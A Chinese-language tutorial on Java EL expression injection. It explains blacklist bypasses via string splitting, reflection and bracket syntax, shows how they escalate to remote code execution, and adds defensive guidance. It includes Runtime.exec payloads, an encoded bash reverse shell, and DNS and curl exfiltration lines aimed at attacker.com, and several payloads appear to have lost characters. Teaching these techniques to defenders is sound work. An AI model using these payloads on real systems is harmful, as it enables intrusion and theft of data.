EL表达式注入攻防:从黑名单绕过到RCE的实战解析 📅 2026/6/22 5:57:47 1. 项目概述当表达式语言成为攻击者的“瑞士军刀”在Web应用安全的世界里注入攻击始终是悬在开发者头顶的达摩克利斯之剑。从经典的SQL注入到后来的命令注入、模板注入攻防双方在字符与逻辑的战场上不断博弈。而今天我们要深入探讨的是一种相对“年轻”但威力巨大的攻击手法——EL表达式注入。这个标题“EL表达式注入的‘极限绕过’从黑名单到RCE的攻防艺术”精准地概括了其核心攻击者如何像一位技艺高超的锁匠利用看似无害的表达式语言层层突破开发者精心构筑的黑名单防线最终实现远程代码执行的终极目标。EL即Expression Language最初在JSP 2.0中引入旨在简化JSP页面中JavaBean和集合对象的访问。后来它被广泛应用于Java EE的各个框架如JSF、Spring MVC等用于在视图层进行数据绑定和简单逻辑处理。它的语法简洁比如${user.name}就能轻松获取属性${12}能直接计算。正是这种“动态执行”的特性在缺乏严格输入验证和沙箱隔离的情况下为攻击者打开了一扇危险的后门。想象一下用户输入的内容没有被当作普通字符串而是被应用服务器直接当作代码片段解析和执行其后果不言而喻。这场攻防的艺术性在于其不对称性。防守方开发者通常会采取黑名单过滤策略比如过滤掉“Runtime”、“exec”、“ProcessBuilder”等危险关键词。而攻击方则像在玩一场“找不同”和“拼图”游戏他们需要利用EL表达式强大的语法特性、上下文对象、以及Java反射机制对黑名单进行“极限绕过”。从简单的字符串拼接、编码混淆到利用内置对象和隐式变量再到高阶的反射调用链构造每一步都是智力与经验的较量。最终目标RCERemote Code Execution意味着攻击者能完全控制服务器执行任意系统命令其危害等级是最高的。因此理解EL表达式注入的绕过技巧不仅是为了攻击更是为了从根本上提升我们应用的安全水位知道攻击者会从哪里来才能更好地修筑防线。2. EL表达式注入的核心原理与攻击面分析要理解如何绕过必须先理解EL表达式是如何被解析和执行的以及攻击者能够利用哪些“武器”。2.1 EL表达式的执行引擎与危险函数在Java Web应用中EL表达式的解析通常由如Apache Tomcat的javax.el.ELProcessor、Spring框架的StandardEvaluationContextSpEL场景下原理相通等组件完成。当我们在JSP页面中写下${param.input}时容器会在渲染页面时调用EL解析器去计算这个表达式。解析器会识别表达式中的变量、运算符、函数并在特定的上下文ELContext中查找变量的值、执行函数调用。EL表达式之所以危险是因为它支持以下特性方法调用可以直接调用Java对象的方法如${user.setName(hacker)}。静态字段/方法访问通过T()操作符可以访问任意类的静态字段和方法这是通往RCE的关键跳板。例如${T(java.lang.Runtime)}就能获取到Runtime类的引用。算术与逻辑运算支持复杂的表达式可用于构造绕过payload。访问隐含对象在Web上下文中可以直接访问pageContext,request,session,application等对象这为攻击者探索和操控应用状态提供了便利。最致命的组合莫过于通过T()操作符获取到java.lang.Runtime类然后调用其getRuntime()静态方法获取实例最后调用exec()方法执行命令。这就是经典的EL表达式RCE payload雏形${T(java.lang.Runtime).getRuntime().exec(calc)}。2.2 常见的黑名单防御策略及其脆弱性面对这种威胁开发者和安全运维人员的第一反应往往是黑名单过滤。常见的过滤策略包括关键词过滤直接拦截包含“Runtime”、“ProcessBuilder”、“Class”、“forName”、“exec”、“getRuntime”等字符串的输入。字符过滤过滤反引号、美元符号$、花括号{}、点号.、括号()等EL表达式的关键语法字符。正则表达式匹配使用复杂的正则表达式来匹配疑似EL表达式或命令执行的模式。然而这些策略在灵活的EL语法和Java丰富的特性面前往往显得千疮百孔。它们的脆弱性根植于几个方面首先黑名单永远无法穷尽所有可能的攻击向量尤其是结合反射和字符串变换时其次过滤逻辑可能存在顺序或逻辑缺陷可以被绕过最后应用可能存在多个输入点和不同的处理逻辑防御可能不统一。3. “极限绕过”技术详解从简单混淆到高阶利用攻击者的艺术就体现在如何将那些被禁止的“零件”通过巧妙的“包装”和“组装”成功送入执行引擎。下面我们从易到难拆解几种典型的绕过技术。3.1 基于字符串拼接与编码的初级绕过这是最直接、最常用的绕过方式核心思想是让最终执行的payload字符串在“组装”之前不被黑名单识别。1. 字符串拼接EL表达式支持使用进行字符串连接也支持使用concat()方法。我们可以将危险关键词拆散。原始payload${T(java.lang.Runtime).getRuntime().exec(calc)}拆分绕过${T(java.lang.Run).concat(time).getRuntime().exec(calc)}这里将“Runtime”拆成“Run”和“time”再用concat()连接。如果过滤了“Runtime”但没过滤“Run”和“time”就可能绕过。更细粒度拆分${‘’.getClass().forName(‘java.la’’ng.Ru’’ntime’).getMethod(‘getRu’’ntime’).invoke(null).exec(‘calc’)}这里完全使用了反射的链条并且将所有关键词都进行了拆分。2. 字符编码与十六进制/八进制表示Java和EL表达式支持多种字符表示形式。十六进制\x或Unicode\u转义在某些上下文中可以使用转义字符。例如Runtime可以表示为R\u0075ntimeu的Unicode是\u0075。但注意EL表达式本身可能不支持直接的\u转义这通常需要在Java字符串层面构造。从字符编码转换更通用的方法是利用String类的构造方法或char转换。例如通过数字构造字符${‘’.getClass().forName(‘java.lang.’.concat(‘R’.concat(‘u’).concat(‘n’).concat(‘t’).concat(‘i’).concat(‘m’).concat(‘e’)))}虽然繁琐但原理是构建字符数组。更高级的会利用反射调用java.lang.Character.toString(charCode)来动态生成字符。实操心得在实际测试中字符串拼接是最快验证过滤规则是否生效的方法。可以先提交${7*7}测试EL是否执行然后用${‘cl’’ass’}测试是否过滤了“class”这个词。注意观察应用的错误回显不同的错误信息能告诉你过滤发生在哪一层WAF、应用代码、还是EL引擎本身。3.2 利用EL内置对象与反射的中级绕过当简单的字符串变换被防御后攻击者会转向利用EL表达式更底层的特性。1. 利用pageContext对象在JSP EL中pageContext是一个强大的内置对象它是PageContext的实例可以访问到ServletContext、HttpSession、ServletRequest、ServletResponse等所有JSP隐含对象。更重要的是通过pageContext可以获取到ServletContext进而有可能访问到应用中注册的Bean或其他对象为后续攻击铺路。虽然直接通过pageContext执行命令较难但它是一个重要的信息收集跳板。2. 深度利用Java反射Reflection反射是绕过黑名单的“终极武器”之一。黑名单可以过滤已知的类名和方法名但很难过滤反射API本身因为它们是基础APIClass.forName,getMethod,invoke。反射调用Runtime// 对应的EL表达式 payload ${.getClass().forName(java.lang.Runtime).getMethod(getRuntime, null).invoke(null).exec(calc)}这个payload中‘’是一个空字符串对象调用其getClass()方法获得String.class然后通过这个Class对象调用forName动态加载Runtime类接着获取其静态方法getRuntimeinvoke(null)表示调用这个静态方法因为getRuntime是静态的不需要实例最后调用返回的Runtime实例的exec方法。反射调用ProcessBuilder如果Runtime被过滤ProcessBuilder是另一个选择。${T(java.lang.ProcessBuilder).newInstance(calc).start()}或者用反射${.getClass().forName(java.lang.ProcessBuilder).getConstructor(String[].class).newInstance(new String[]{calc}).start()}注意事项使用反射时需要注意参数类型的匹配。例如ProcessBuilder的构造器参数是String...或ListString在EL中构造数组或列表有时需要技巧。EL中可以直接用new String[]{cmd, /c, calc}创建数组但要注意括号的转义。3.3 绕过字符过滤与上下文限制的高阶技巧当应用不仅过滤关键词还严格过滤了特殊字符如$,{,},.,(,)时挑战就升级了。1. 利用EL表达式中的“括号表达式”[]代替点号.在EL中a.b等价于a[“b”]。当点号被过滤时可以用中括号和字符串属性名来访问方法和属性。原式${T(java.lang.Runtime).getRuntime().exec(calc)}绕过点号${T(java.lang.Runtime)[getRuntime]()[exec](calc)}这里getRuntime和exec都作为字符串属性名来访问。如果括号()也被过滤情况会更复杂可能需要结合其他技巧。2. 利用JavaScript引擎或ScriptEngineManager条件苛刻如果应用环境中同时存在可用的脚本引擎如Nashorn攻击者可能尝试通过EL触发脚本执行。例如通过pageContext找到ServletContext再尝试获取ScriptEngineManager。但这通常需要非常特定的环境配置不是通用方法。3. 二次注入与上下文污染有时输入在存储进数据库或会话Session时未被充分过滤当这些数据后来被取出并拼接到EL表达式中执行时就会造成二次注入。攻击者可能无法直接在一个输入点注入完整的RCE payload但可以分步进行先注入一个存储型payload到数据库的某个字段如用户名当管理员后台查看该用户信息并且页面使用了EL表达式渲染该字段时攻击就被触发了。这种攻击路径更长但更隐蔽。4. 从注入点到RCE的完整攻击链构造理解了绕过技巧我们来看攻击者如何一步步构建完整的攻击链。这不仅仅是一个payload而是一个系统的过程。4.1 信息收集与漏洞探测攻击的第一步永远是信息收集。对于潜在的EL注入点攻击者会尝试探测EL执行提交最简单的算术或逻辑表达式如${7*7}、${true}、${‘a’}观察返回页面是否将计算结果49或布尔值/字符串显示出来或者是否产生错误如500错误可能包含堆栈信息。探测上下文与黑名单规则提交包含疑似黑名单词汇的测试payload如${‘Runtime’}、${‘class’}观察是返回过滤提示、错误还是原样输出。通过不同的组合测试可以大致摸清过滤规则是简单关键词匹配、正则表达式还是更复杂的语法分析。探测可用内置对象和类尝试访问${pageContext}、${request}、${session}等看应用是否暴露了这些对象。尝试引用一些基础类如${T(java.lang.String)}判断T()操作符是否可用。4.2 Payload构造与分步执行在确认存在EL注入且有一定绕过空间后开始构造最终RCE payload。这个过程往往是分步、迭代的。步骤一获取ClassLoader或创建类实例由于直接使用T()或forName可能被过滤攻击者可能需要迂回。一个常见起点是利用已知对象如空字符串‘’、数字、请求参数的getClass()方法获取到一个Class对象作为反射的起点。${‘’.class}或${‘’.getClass()}步骤二动态加载目标类通过上一步的Class对象调用forName方法。这里需要绕过对类名的过滤。${‘’.getClass().forName(‘java.lang.Ru’ ‘ntime’)}步骤三调用危险方法获取到目标类的Class对象后通过getMethod、getConstructor获取方法或构造器再用invoke或newInstance调用。${‘’.getClass().forName(‘java.lang.Ru’ ‘ntime’).getMethod(‘getRu’ ‘ntime’).invoke(null)}此时我们得到了一个Runtime实例。步骤四执行命令最后调用exec方法。命令本身也可能需要绕过比如用String[]数组传递参数或者对命令进行编码。${… .exec(‘bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i}’)}这里示例了一个Base64编码的反弹Shell命令用于绕过对空格、斜杠等字符的简单过滤。4.3 无回显RCE与出网检测在很多实战场景中注入点可能没有回显Blind EL Injection。攻击者无法直接看到命令执行的结果。这时需要利用其他通道来验证和获取结果DNS外带DNS Exfiltration执行命令触发DNS查询通过监控DNS日志来确认漏洞存在。例如执行ping -c 1whoami.attacker.com如果attacker.com的DNS服务器收到对root.attacker.com的查询就证明命令执行成功且用户是root。${T(java.lang.Runtime).getRuntime().exec(‘ping -c 1 ‘.concat(‘whoami’.concat(‘.attacker.com’)))}注意这里需要根据操作系统调整命令并且whoami的结果需要作为域名的一部分不能有空格等非法字符通常需要编码。HTTP外带HTTP Request使用curl、wget或在Java中用URL类发起HTTP请求将命令执行结果作为URL参数或请求体发送到攻击者控制的服务器。${T(java.lang.Runtime).getRuntime().exec(‘curl http://attacker.com/‘.concat(T(java.net.URLEncoder).encode(‘whoami’.exec(), ‘UTF-8’)))}这需要目标系统有这些网络工具且能出网。延时判断Time-based Blind通过执行sleep或ping -nWindows等命令制造时间延迟根据响应时间判断命令是否执行。例如如果执行了sleep 5页面响应会延迟5秒以上。常见问题在构造无回显payload时最大的挑战是命令字符串的拼接和特殊字符的处理。在EL表达式中字符串连接和引号嵌套容易出错。建议先在本地简单的JSP环境中测试payload的语法正确性。另外注意目标服务器的操作系统Windows/Linux命令语法完全不同。5. 防御之道从黑名单到纵深防御体系了解了攻击者的手段防守方的策略就应该从脆弱的黑名单升级为更稳固的纵深防御。5.1 输入验证与输出编码严格的白名单输入验证对于任何可能被EL解析器处理的数据如用户可控的模板变量、标签属性应基于业务需求定义严格的白名单。例如如果期望是一个数字ID就只允许数字字符。这比黑名单有效得多。上下文相关的输出编码确保所有渲染到页面的用户数据都经过正确的编码。如果数据是作为HTML文本内容就用HTML实体编码如果是HTML属性就用属性编码如果确实需要作为JS或CSS的一部分就用对应的编码。这可以防止数据被误解为EL语法。但请注意输出编码是防止XSS的对于服务端EL注入如果数据在服务端拼接进EL表达式前未被过滤输出编码是无效的。因此关键是在数据进入EL解析器之前进行处理。5.2 安全配置与沙箱环境禁用或限制EL功能在不需要EL表达式动态求值的场景彻底禁用它。例如在Spring MVC中可以配置StandardEvaluationContext为更安全的SimpleEvaluationContext后者不支持类型引用(T())、构造函数引用(new)、bean引用等危险特性。对于JSP可以考虑在web.xml中全局或针对特定页面禁用ELel-ignoredtrue/el-ignored。使用安全的EL实现有些第三方EL库提供了沙箱功能。例如OGNLStruts2曾用的表达式语言的历史漏洞告诉我们默认配置往往很危险。如果必须使用应研究其安全配置选项限制可访问的类和方法。最小权限原则运行Java应用的服务账号不应具有过高权限如root。这样即使发生RCE攻击者能造成的破坏也相对有限。5.3 代码审计与安全开发实践避免动态拼接EL表达式绝对不要将用户输入直接拼接到EL表达式字符串中然后交给解析器执行。这是EL注入的根本原因。应使用数据绑定框架提供的安全方式或者使用预定义的模板。代码审计关注点在代码审计中重点关注以下模式ELProcessor.eval(value)StandardEvaluationContextSpelExpressionParserSpring SpELJSP页面中的${param.xxx}或${requestScope.xxx}其中xxx的来源是否用户完全可控。任何将request.getParameter()、request.getHeader()等获取的值未经严格过滤就直接设置到模型属性Model或请求属性request.setAttribute中随后在视图层被EL引用。依赖项安全及时更新服务器如Tomcat、框架如Spring的版本修复已知的EL处理相关漏洞。6. 实战演练与排查技巧实录理论需要结合实践。假设我们在一个CTF靶场或内部渗透测试中遇到了一个疑似EL注入的点。6.1 手工测试流程初步探测在输入框提交${7*7}查看页面返回内容或源码中是否出现49。如果出现确认存在EL执行。判断上下文提交${pageContext}或${request}如果返回了对象信息或报错信息中透露说明是JSP环境且隐含对象可用。测试过滤提交${T(java.lang.String)}如果被拦截或返回错误说明可能过滤了T()或java.lang。尝试拆分${‘java.lang.’.concat(‘String’)}或者用反射${‘’.class.name}。尝试命令执行谨慎仅在授权环境如果环境允许尝试无害命令如${T(java.lang.Runtime).getRuntime().exec(‘ping -c 1 127.0.0.1’)}。使用dnslog.cn或burp collaborator来接收DNS/HTTP外带请求确认命令执行。逐步绕过如果遇到过滤按照前述方法依次尝试字符串拼接、编码、括号语法、反射链。6.2 常见问题与错误排查问题现象可能原因排查思路与解决方案提交${7*7}后页面原样输出${7*7}EL表达式未启用或输入点不在EL解析上下文中检查web.xml中EL是否被禁用确认输入参数是否被正确传递到会进行EL解析的视图层如JSP、Thymeleaf模板。尝试其他参数或位置。提交payload后返回500错误错误信息包含javax.el.ELExceptionEL语法错误或访问了不存在的属性/方法仔细检查payload语法括号是否匹配引号是否正确类名和方法名是否准确。使用更简单的payload测试。提交包含Runtime的payload后返回“非法输入”等提示但简单算术表达式正常应用层或WAF存在黑名单过滤开始实施绕过策略拆分关键词、使用反射、改变大小写如果过滤是大小写敏感、使用编码。命令执行payload提交后无回显也无错误可能是盲注或者命令执行失败路径错误、权限不足采用无回显技术尝试DNS外带、HTTP外带或时间延迟判断。检查命令语法是否正确特别是路径和参数。尝试执行whoami或id等简单命令。反射链payload过长被截断或报错可能有长度限制或特殊字符被转义尝试缩短payload例如优先使用T()操作符而非长反射链。对payload进行URL编码后提交。6.3 自动化工具辅助与局限性对于EL注入也有一些半自动化的测试工具或Burp Suite插件如EL Injection Scanner可以帮助探测。它们能自动生成和测试一系列常见的EL测试payload。然而由于绕过技巧高度定制化且严重依赖应用的具体过滤逻辑自动化工具往往只能发现最基础的、无防护的EL注入点。对于存在WAF或自定义过滤的场景手工测试和模糊测试Fuzzing结合仍然是不可替代的。可以自己编写一个简单的Fuzzing字典包含各种拆分、编码、变形的Runtime、exec等关键词以及不同的语法构造方式进行批量测试。EL表达式注入的攻防是一场在语法和语义层面进行的精巧博弈。攻击者不断寻找语言特性和过滤逻辑之间的缝隙而防守者则需要构建从输入验证、安全配置到安全编码的完整防线。对于开发者而言理解这些绕过技巧并非为了实施攻击而是为了在编写代码时能清晰地意识到哪些做法是危险的从而主动避免漏洞的产生。安全是一个持续的过程唯有保持敬畏和学习才能在这场无声的较量中守住阵地。